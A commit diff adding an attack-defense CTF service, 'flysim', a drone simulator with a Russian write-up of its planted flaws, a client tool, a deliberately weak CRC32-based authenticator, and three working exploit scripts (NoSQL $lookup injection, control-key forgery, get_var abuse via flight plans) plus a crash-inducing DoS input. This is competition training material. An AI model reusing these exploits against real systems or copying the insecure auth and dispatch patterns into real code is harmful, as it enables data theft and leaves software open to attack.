adding validated services? patching forcad_local.py

This commit is contained in:
Your Name
2026-08-13 08:32:35 +07:00
parent d485f61169
commit e795614e45
1459 changed files with 420036 additions and 436 deletions

View File

@@ -0,0 +1,26 @@
## Сервис `flysim`
Сервис представляет собой приложение на Python (Flask, SocketIO, gunicorn), симулирующее работу дронов - можно создать дрон, назначить ему скорость, полётный план (на какой секунде ускориться, поменять частоту) и наблюдать за его полётом (изменяются координаты каждый тик ~1сек). "Наблюдение" идёт через socket.io (websocket или polling).
Флаг хранится в поле `secret_data`, и его можно узнать, лишь подключившись к дрону по socket.io с правильным `control_key` (штатным образом, без использования уязвимостей).
Также присутствует функциональность получения всех созданных дронов (только id) и более детальный интерфейс (можно найти дрон с определённым label, причём получить все его данные за исключением приватных ("control_key", "secret_data", "flight_plan", "flight_log")).
## Уязвимости сервиса `flysim`
1. NoSQL injection в параметре what= (`sploit_nosql.py`). Помимо "$match", можно дописать и "$lookup", сматчив все строки (`{"$match": {"label": {"$regex": "^.*"}}}`).
2. CRC32 используется в `session_authenticator.generate(drone_id, label)` (это можно понять, отреверсив .so-шник, скомпиленный codon-ом) (`sploit_crc32.py`)
3. В flight plan можно вызвать get_var (`sploit_flight_plan.py`) помимо "стандартных" операций типа BOOSTX/BOOSTY/FIRE/SETFREQ, `func = globals().get(command_name)` - get_var входит в globals.
## DoS
`./client create --label asdf --flight-plan "BOOSTX [drone] 200\nBOOSTY [drone] 400\n"` (намеренно пропущено время запуска: не `0 BOOSTX [drone] 200`, а `BOOSTX [drone] 200`)
Приведёт к ошибке:
```
flysim_1 | Traceback (most recent call last):
flysim_1 | File "src/gevent/greenlet.py", line 900, in gevent._gevent_cgreenlet.Greenlet.run
flysim_1 | File "/app/server.py", line 214, in run_update_positions
flysim_1 | update_positions()
flysim_1 | File "/app/server.py", line 176, in update_positions
flysim_1 | process_flight_plan(drone, cur_time)
flysim_1 | File "/app/flight_plans.py", line 50, in process_flight_plan
flysim_1 | expected_time = int(parts[0])
flysim_1 | ^^^^^^^^^^^^^
flysim_1 | ValueError: invalid literal for int() with base 10: 'BOOSTX'
```
При этом цикл, отвечающий за обновление данных обо всех дронах и рассылку сообщений в socket.io-комнаты, перестанет работать и чекер будет timeout-ится в ожидании сообщения, которое не поступит.

View File

@@ -0,0 +1,31 @@
create drone:
./client create --ip 10.80.1.2
you can also specify label and (or) flight plan
./client create --ip 10.80.1.2 --label asdf --flight-plan "1 BOOSTX [drone] 200\n55 BOOSTY [drone] 400\n"
connect:
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f"
connect with setting position and (or) velocity:
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --position 0 0 --velocity 1 2
by default, client keeps connection for 30 seconds. if you need more, add --duration:
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --duration 9999
list drones (only ids):
./client list-drones --ip 10.80.1.2
list drones (detailed):
./client list-drones-details --ip 10.80.1.2
list details but only for one drone (by label):
./client list-drones-details --ip 10.80.1.2 --label p4MUiB5oEF5EHAnkMefO8
do not forget to use --help:
./client --help
./client create --help
./client connect --help
./client list-drones --help
./client list-drones-details --help

View File

@@ -0,0 +1,10 @@
sudo apt install python3.12-venv
python3.12 -m venv flysim_client
source flysim_client/bin/activate
pip3.12 install -r requirements.txt
pip3.12 install pyinstaller staticx
python3.12 -m PyInstaller --onefile client
staticx dist/client dist/client_static
# dist/client_static is the file you need

View File

@@ -0,0 +1,113 @@
#!/usr/bin/env python3
import click
import drone_client
import json
import time
from typing import Optional
class OrderedGroup(click.Group):
def list_commands(self, ctx):
# Return commands in the order they are defined
return self.commands.keys()
@click.group(cls=OrderedGroup)
def cli():
"""Drone Control CLI"""
pass
@cli.command()
@click.option("--ip", default="127.0.0.1", help="Server IP address")
@click.option("--label", help="Drone label")
@click.option("--secret-data", help="Secret data for the drone")
@click.option("--flight-plan", help="Flight plan for the drone")
def create(ip, label, secret_data, flight_plan):
"""Create a new drone"""
client = drone_client.DroneClient(ip)
if not client.create_drone(
label=label,
secret_data=secret_data,
flight_plan=flight_plan.replace(r"\n", "\n") if flight_plan else None,
):
click.echo("Failed to create drone")
return
credentials = {
"drone_id": client.drone_id,
"control_key": client.control_key,
"ip": ip,
}
click.echo(f"Drone created successfully:")
click.echo(f"Drone ID: {client.drone_id}")
click.echo(f"Control Key: {client.control_key}")
@cli.command()
@click.option("--ip", default="127.0.0.1", help="Server IP address")
@click.option("--drone-id", required=True, help="Drone ID")
@click.option("--control-key", required=True, help="Control key")
@click.option("--position", type=(float, float), help="Position coordinates (x, y)")
@click.option("--velocity", type=(float, float), help="Velocity vector (vx, vy)")
@click.option(
"--duration", default=30, help="Duration to keep connection alive (seconds)"
)
def connect(ip, drone_id, control_key, position, velocity, duration):
"""Connect to an existing drone"""
client = drone_client.DroneClient(ip)
client.drone_id = drone_id
client.control_key = control_key
if not client.connect_to_drone():
click.echo("Failed to connect to drone")
return
click.echo(f"Connected to drone {drone_id}")
if position:
client.update_position(list(position))
click.echo(f"Updated position to {position}")
if velocity:
client.update_velocity(list(velocity))
click.echo(f"Updated velocity to {velocity}")
click.echo(f"Keeping connection alive for {duration} seconds...")
time.sleep(duration)
client.disconnect()
click.echo("Disconnected from drone")
@cli.command()
@click.option("--ip", default="127.0.0.1", help="Server IP address")
def list_drones(ip):
"""List all available drones"""
client = drone_client.DroneClient(ip)
client.get_all_drones()
@cli.command()
@click.option("--ip", default="127.0.0.1", help="Server IP address")
@click.option(
"--label",
"label",
help="Target drone label. If label is not specified, all drones are shown.",
)
def list_drones_details(ip, label):
"""List drone(s) with detailed information"""
client = drone_client.DroneClient(ip)
if label:
print(
client.get_drones_with_details(json.dumps([{"$match": {"label": label}}]))
)
else:
print(client.get_drones_with_details(json.dumps([{"$match": {}}])))
if __name__ == "__main__":
cli()

View File

@@ -0,0 +1,135 @@
import socketio
import requests
import time
import json
from threading import Event
# def print(*args, **kwargs):
# pass # disable print
class DroneClient:
def __init__(self, ip="127.0.0.1"):
sio = socketio.Client()
self.base_url = f"http://{ip}:9000/"
self.sio = sio
self.drone_id = None
self.control_key = None
self.data_received_event = Event()
self.last_received_data = None
self.velocity_updated_event = Event()
self.last_received_veldata = None
self.position_updated_event = Event()
self.last_received_posdata = None
@sio.on("connect")
def on_connect():
print("Connected to server")
@sio.on("disconnect")
def on_disconnect():
print("Disconnected from server")
@sio.on("drone_connected")
def on_drone_connected(data):
print(f"Drone connection status: {data['data']}")
@sio.on("data_updated")
def on_data_updated(data):
print(data)
if isinstance(data, dict):
self.last_received_data = data
self.data_received_event.set()
@sio.on("velocity_updated")
def on_velocity_updated(data):
print(data)
if isinstance(data, dict):
self.last_received_veldata = data
self.velocity_updated_event.set()
@sio.on("position_updated")
def on_position_updated(data):
print(data)
if isinstance(data, dict):
self.last_received_posdata = data
self.position_updated_event.set()
@sio.on("error")
def on_error(data):
print(f"Error: {data['data']}")
def wait_for_data_msg(self, timeout=None):
self.data_received_event.clear()
if self.data_received_event.wait(timeout):
return self.last_received_data
return None
def wait_for_vel_msg(self, timeout=None):
self.velocity_updated_event.clear()
if self.velocity_updated_event.wait(timeout):
return self.last_received_veldata
return None
def wait_for_pos_msg(self, timeout=None):
self.position_updated_event.clear()
if self.position_updated_event.wait(timeout):
return self.last_received_posdata
return None
def create_drone(self, label=None, secret_data=None, flight_plan=None):
response = requests.post(
f"{self.base_url}/create_drone",
timeout=8000,
json={}
| ({"label": label} if label else {})
| ({"secret_data": secret_data} if secret_data else {})
| ({"flight_plan": flight_plan} if flight_plan else {}),
)
if response.status_code == 200:
data = response.json()
self.drone_id = data["id"]
self.control_key = data["control_key"]
print(
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
)
return True
else:
print(f"Failed to create drone: {response.text}")
return False
def get_all_drones(self):
response = requests.get(f"{self.base_url}/get_drones")
print("All drones:", response.json())
def get_drones_with_details(self, with_what_details):
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
return response.json()
def connect_to_drone(self):
try:
self.sio.connect(self.base_url, socketio_path="/socket.io")
self.sio.emit(
"join_drone",
{"drone_id": self.drone_id, "control_key": self.control_key},
)
return True
except Exception as e:
print(f"Connection error: {e}")
return False
def update_position(self, position):
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
def update_velocity(self, velocity):
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
def disconnect(self):
try:
self.sio.disconnect()
except Exception as e:
print(f"Disconnection error: {e}")

View File

@@ -0,0 +1,4 @@
requests==2.32.3
python-socketio==5.11.4
websocket-client==1.8.0
click==8.1.7

View File

@@ -0,0 +1,132 @@
import socketio
import requests
import time
import json
from threading import Event
def print(*args, **kwargs):
pass # disable print
class DroneClient:
def __init__(self, ip="127.0.0.1"):
sio = socketio.Client()
self.base_url = f"http://{ip}:9000/"
self.sio = sio
self.drone_id = None
self.control_key = None
self.data_received_event = Event()
self.last_received_data = None
self.velocity_updated_event = Event()
self.last_received_veldata = None
self.position_updated_event = Event()
self.last_received_posdata = None
@sio.on("connect")
def on_connect():
print("Connected to server")
@sio.on("disconnect")
def on_disconnect():
print("Disconnected from server")
@sio.on("drone_connected")
def on_drone_connected(data):
print(f"Drone connection status: {data['data']}")
@sio.on("data_updated")
def on_data_updated(data):
if isinstance(data, dict):
self.last_received_data = data
self.data_received_event.set()
@sio.on("velocity_updated")
def on_velocity_updated(data):
if isinstance(data, dict):
self.last_received_veldata = data
self.velocity_updated_event.set()
@sio.on("position_updated")
def on_position_updated(data):
if isinstance(data, dict):
self.last_received_posdata = data
self.position_updated_event.set()
@sio.on("error")
def on_error(data):
print(f"Error: {data['data']}")
def wait_for_data_msg(self, timeout=None):
self.data_received_event.clear()
if self.data_received_event.wait(timeout):
return self.last_received_data
return None
def wait_for_vel_msg(self, timeout=None):
self.velocity_updated_event.clear()
if self.velocity_updated_event.wait(timeout):
return self.last_received_veldata
return None
def wait_for_pos_msg(self, timeout=None):
self.position_updated_event.clear()
if self.position_updated_event.wait(timeout):
return self.last_received_posdata
return None
def create_drone(self, label=None, secret_data=None, flight_plan=None):
response = requests.post(
f"{self.base_url}/create_drone",
timeout=8000,
json={}
| ({"label": label} if label else {})
| ({"secret_data": secret_data} if secret_data else {})
| ({"flight_plan": flight_plan} if flight_plan else {}),
)
if response.status_code == 200:
data = response.json()
self.drone_id = data["id"]
self.control_key = data["control_key"]
print(
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
)
return True
else:
print(f"Failed to create drone: {response.text}")
return False
def get_all_drones(self):
response = requests.get(f"{self.base_url}/get_drones")
print("All drones:", response.json())
def get_drones_with_details(self, with_what_details):
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
return response.json()
def connect_to_drone(self):
try:
self.sio.connect(self.base_url, socketio_path="/socket.io")
self.sio.emit(
"join_drone",
{"drone_id": self.drone_id, "control_key": self.control_key},
)
return True
except Exception as e:
print(f"Connection error: {e}")
return False
def update_position(self, position):
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
def update_velocity(self, velocity):
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
def disconnect(self):
try:
self.sio.disconnect()
except Exception as e:
print(f"Disconnection error: {e}")

View File

@@ -0,0 +1,12 @@
#!/bin/sh
# https://github.com/exaloop/codon
rm -rf build
rm -rf *.so
python3 setup.py build_ext --inplace
rm -rf build
mv session_authenticator.cpython*.so session_authenticator.so
echo "Testing"
python3 -c "import session_authenticator; print(session_authenticator.generate('a', 'bc'))"
# you need only session_authenticator.so file

View File

@@ -0,0 +1,21 @@
import time
def generate_control_key(_id: str, label: str) -> str:
msg = _id + label
crc = 0xFFFFFFFF
polynomial = 0xEDB88320
for char in msg:
crc ^= ord(char)
for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ polynomial
else:
crc >>= 1
return hex(crc ^ 0xFFFFFFFF)[2:]
def generate(_id: str, label: str) -> str:
return generate_control_key(_id, label)
def verify(_id: str, label: str, control_key: str) -> bool:
return generate_control_key(_id, label) == control_key

View File

@@ -0,0 +1,91 @@
# setup.py
import os
import sys
import shutil
from pathlib import Path
from setuptools import setup, Extension
from setuptools.command.build_ext import build_ext
# Find Codon
codon_path = os.environ.get('CODON_DIR')
if not codon_path:
c = shutil.which('codon')
if c:
codon_path = Path(c).parent / '..'
else:
codon_path = Path(codon_path)
for path in [
os.path.expanduser('~') + '/.codon',
os.getcwd() + '/..',
]:
path = Path(path)
if not codon_path and path.exists():
codon_path = path
break
if (
not codon_path
or not (codon_path / 'include' / 'codon').exists()
or not (codon_path / 'lib' / 'codon').exists()
):
print(
'Cannot find Codon.',
'Please either install Codon (https://github.com/exaloop/codon),',
'or set CODON_DIR if Codon is not in PATH.',
file=sys.stderr,
)
sys.exit(1)
codon_path = codon_path.resolve()
print('Found Codon:', str(codon_path))
# Build with Codon
class CodonExtension(Extension):
def __init__(self, name, source):
self.source = source
super().__init__(name, sources=[], language='c')
class BuildCodonExt(build_ext):
def build_extensions(self):
pass
def run(self):
inplace, self.inplace = self.inplace, False
super().run()
for ext in self.extensions:
self.build_codon(ext)
if inplace:
self.copy_extensions_to_source()
def build_codon(self, ext):
extension_path = Path(self.get_ext_fullpath(ext.name))
build_dir = Path(self.build_temp)
os.makedirs(build_dir, exist_ok=True)
os.makedirs(extension_path.parent.absolute(), exist_ok=True)
codon_cmd = str(codon_path / 'bin' / 'codon')
optimization = '-debug' if self.debug else '-release'
self.spawn([codon_cmd, 'build', optimization, '--relocation-model=pic', '-pyext',
'-o', str(extension_path) + ".o", '-module', ext.name, ext.source])
ext.runtime_library_dirs = [str(codon_path / 'lib' / 'codon')]
self.compiler.link_shared_object(
[str(extension_path) + '.o'],
str(extension_path),
libraries=['codonrt'],
library_dirs=ext.runtime_library_dirs,
runtime_library_dirs=ext.runtime_library_dirs,
extra_preargs=['-Wl,-rpath,@loader_path'],
debug=self.debug,
build_temp=self.build_temp,
)
self.distribution.codon_lib = extension_path
setup(
name='session_authenticator',
version='0.1',
packages=['session_authenticator'],
ext_modules=[
CodonExtension('session_authenticator', 'session_authenticator.codon'),
],
cmdclass={'build_ext': BuildCodonExt}
)

View File

@@ -0,0 +1,34 @@
#!/usr/bin/env python3
import requests
import sys
import drone_client
import time
import json
import zlib
def droneid_to_drone_obj(client, drone_id):
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
for d in det:
if d["id"] == drone_id:
return d
return None
IP = sys.argv[1]
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
IP
]
for drone_id in drone_ids[::-1]:
client = drone_client.DroneClient(ip=IP)
drone_obj = droneid_to_drone_obj(client, drone_id)
client.drone_id = drone_id
cont_key = hex(zlib.crc32((drone_id + drone_obj["label"]).encode()))[
2:
] # generate 'not so random' control_key
client.control_key = cont_key
client.connect_to_drone()
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
print(drone_obj_with_secret["secret_data"], flush=True)

View File

@@ -0,0 +1,22 @@
#!/usr/bin/env python3
import requests
import sys
import drone_client
import time
import json
IP = sys.argv[1]
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
IP
]
fp = "\n".join([f"0 get_var {d} secret_data" for d in drone_ids])
client = drone_client.DroneClient(ip=IP)
client.create_drone(label="qweqwe11", secret_data="qweqwe", flight_plan=fp)
client.connect_to_drone()
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
print(drone_obj_with_secret["flight_log"], flush=True)
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
print(drone_obj_with_secret["flight_log"], flush=True)

View File

@@ -0,0 +1,41 @@
#!/usr/bin/env python3
import requests
import sys
import drone_client
import time
import json
def droneid_to_drone_obj(client, drone_id):
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
for d in det:
if d["id"] == drone_id:
return d
return None
IP = sys.argv[1]
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
IP
]
for drone_id in drone_ids[::-1]:
client = drone_client.DroneClient(ip=IP)
drone_obj = droneid_to_drone_obj(client, drone_id)
det = client.get_drones_with_details(
json.dumps(
[
{"$match": {"label": drone_obj["label"]}},
{
"$lookup": {
"from": "drones",
"as": "result",
"pipeline": [{"$match": {"label": {"$regex": "^.*"}}}],
}
},
]
)
)
print(det, flush=True)
exit(0)